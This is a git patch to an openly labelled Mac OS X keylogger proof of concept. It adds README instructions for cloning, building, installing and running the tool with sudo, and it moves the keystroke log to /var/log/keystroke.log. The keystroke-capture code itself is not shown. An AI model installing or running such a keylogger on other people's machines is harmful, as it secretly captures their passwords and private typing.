From b2f300409610aea9ac7f6e6d1e1171c7c3124a2e Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 20:24:09 -0400 Subject: [PATCH] Update README.md and set log location to /var/log/keystroke.log. --- README.md | 23 ++++++++++++++++++++++- keylogger.h | 2 +- 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 822aafa..87ffbb8 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,24 @@ # Mac OS X Keylogger -This repository holds the code for a simple and easy to use keylogger for Mac OS X. It is not meant to be malicious, and is written as a proof of concept. There is not a lot of information on keyloggers or implementing them on Mac OS X, and most of the ones I've seen do not work as indicated. This project aims to be a simple implementation on how it can be accomplished on OS X. \ No newline at end of file +This repository holds the code for a simple and easy to use keylogger for Mac OS X. It is not meant to be malicious, and is written as a proof of concept. There is not a lot of information on keyloggers or implementing them on Mac OS X, and most of the ones I've seen do not work as indicated. This project aims to be a simple implementation on how it can be accomplished on OS X. + +## Usage + +Start by cloning the repository and running the proper make commands, shown below. By default, the application installs to `/usr/local/bin/keylogger`. + +```bash +$ git clone https://github.com/caseyscarborough/keylog && cd keylog +$ make +$ make install +``` + +The application by default logs to `/var/log/keystroke.log`, which may require root access depending on your system's permissions. You can change this in [`keylogger.h`](https://github.com/caseyscarborough/keylog/blob/master/keylogger.h#L14) if necessary. + +```bash +$ sudo keylogger +Logging to: /var/log/keystroke.log +``` + +## Contributing + +Feel free to fork the project and submit a pull request with your changes! \ No newline at end of file diff --git a/keylogger.h b/keylogger.h index 2773ad1..1b21813 100644 --- a/keylogger.h +++ b/keylogger.h @@ -11,7 +11,7 @@ using namespace std; FILE *logfile = NULL; -const char *logfileLocation = "./keystroke.log"; +const char *logfileLocation = "/var/log/keystroke.log"; CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); const char *convertKeyCode(int);